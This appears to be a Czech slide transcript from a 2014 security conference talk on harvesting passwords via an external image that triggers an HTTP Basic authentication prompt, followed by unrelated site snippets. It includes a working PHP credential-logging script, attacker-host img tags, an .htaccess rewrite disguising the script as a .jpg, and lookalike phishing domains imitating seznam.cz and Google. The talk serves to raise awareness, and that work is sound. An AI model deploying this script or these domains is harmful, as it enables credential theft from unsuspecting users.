Krádež přihlašovacích údajů obrázkem
Transkript
Krádež přihlašovacích údajů
obrázkem
Roman Kümmel
SOOM.cz Hacking & Security Konference 2014
Poděkování
za námět na tuto přednášku patří
Filipu Tomkovi
aka Fil-kun
SOOM.cz Hacking & Security Konference 2014
O co půjde
Půjde o krutopřísný exploit zneužívající
buffer overflow ?
NE
SOOM.cz Hacking & Security Konference 2014
Proč to dělat složitě
Proč hledat a zneužívat chyby, když nám
stejnou možnost dává přímo vestavěná
vlastnost webových prohlížečů ?
Navíc multiplatformě a napříč softwarem
-
Webové prohlížeče
E-mailový klienti
ostatní software zobrazující HTML
SOOM.cz Hacking & Security Konference 2014
Nebezpečí externích zdrojů
V čem může být nebezpečné, pokud
uživatelům na webu povolíme vkládání
externích obrázků v jejich příspěvcích?
<img src=“http://www.attacker.cz/image.jpg“>
• Identifikace uživatele (Referer, User-Agent, IP, ...)
• Zjištění skutečnosti, zda byla zpráva přečtena
• Zneužití pro CSRF útoky
Z tohoto důvodu jsou externí obrázky defaultně zakázány v e-mailovém sw.
SOOM.cz Hacking & Security Konference 2014
Ještě něco?
Jde externích obrázků zneužít také
k získání přihlašovacích údajů?
ANO
pomocí
HTTP Autentizace
SOOM.cz Hacking & Security Konference 2014
HTTP autentizace 1
HTTP Autentizaci lze implementovat
například použitím .htaccess a .htpasswd
pokud budu chtít zabezpečit obsah
stránky.
Tím ale žádný tajný údaj nezískám :(
SOOM.cz Hacking & Security Konference 2014
HTTP autentizace 2
HTTP Autentizaci lze použít i jinak
header('WWW-Authenticate: Basic realm="Message"');
$_SERVER['PHP_AUTH_USER']
$_SERVER['PHP_AUTH_PW']
SOOM.cz Hacking & Security Konference 2014
Exploit
<?php
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW']
if ($user == "" || $pass == "" || !isLoginValid($user, $pass)) {
$message = '"POKUD CHCETE ZOBRAZIT VŠE, MUSÍTE SE PRIHLASIT"';
header("WWW-Authenticate: basic realm=$message");
exit();
} else {
$file = file_get_contents('log.txt');
file_put_contents("log.txt", "$user : $pass \r\n $file");
header('Content-Type: image/jpeg');
echo file_get_contents('image.jpg');
}
?>
SOOM.cz Hacking & Security Konference 2014
Použití a výsledek
<img src=“http://www.utocnik.cz/image.php“>
SOOM.cz Hacking & Security Konference 2014
Vylepšení (typ souboru)
Obejití ochrany umožňující vkládat pouze .jpg
Podstrkávání
.htaccess
RewriteEngine on
RewriteRule image\.jpg image.php
<img src=“http://www.utocnik.cz/image.jpg“>
SOOM.cz Hacking & Security Konference 2014
Vylepšení (název domény)
Lze podvrhnout název domény?
SOOM.cz Hacking & Security Konference 2014
Vylepšení (název domény)
Některé domény se mohou hodit :)
cz-seznam.cz
cz-volny.cz
com-google.com
cz-prilohy.email
com-inserted.pictures
SOOM.cz Hacking & Security Konference 2014
Vylepšení (název domény)
Subdomény jsou fajn :)
http://email.seznam.cz-seznam.cz
http://www.volny.cz-volny.cz
http://mail.google.com-google.com
http://mail.seznam.cz-prilohy.email
http://mail.google.com-inserted.pictures
SOOM.cz Hacking & Security Konference 2014
Výsledek
SOOM.cz Hacking & Security Konference 2014
Úspěšnost?
Nyní bych vám rád řekl, že úspěšnost tohoto
útoku je více než 70%, ale přeci si nemyslíte, že
jsem to skutečně někde zkoušel…
SOOM.cz Hacking & Security Konference 2014
Závěr
Raději si dobře rozmyslete, zda svým
uživatelům umožníte externí obrázky
používat…
SOOM.cz Hacking & Security Konference 2014
Podobné dokumenty
Ukázková kapitola 7
Robot pak dostává vysoce optimalizovanou stránku, ze které by normální uživatel rychle utekl.
Na to jsou autoři vyhledávačů velmi citliví, jak již bylo několikrát řečeno, jejich cílem je podávat co...
POČÍTAČOVÁ BEZPEČNOST z pohledu uživatele
(čistě informační www → bankovnictví)
(příliš složité “pro všechny”)
prezentace
per-server – pro všechny weby na serveru
per-virtualhost – pro jeden virtualhost (web)
per-directory – pro konkrétní adresář konkrétního webu
tato možnost musí být povolena správcem serveru
LETNI AKCE III
2. den: dopoledne přejedeme na TIROLER ACHE. Je skvělá na rozpádlování a podle Kanu
Magazínu po Salze druhou nejnavštěvovanější řekou Rakouska. Není se co divit. Proplétá se
opravdu nádherným kaňon...
Gigaset 4000 classic - AmiCom Teplice, sro
Akumulátory se během nabíjení zahřívají; je to
normální a není to nebezpečné.
Neotevírejte přihrádku akumulátorů, pokud to není
nezbytně nutné, mohlo by dojít k tomu, že stav nabití nebude správně ...
gazzag Proxy
Sociální sítě jako nová platforma
pro šíření Malware
Michal Tresner
AEC, spol. s r. o.
Základy ochrany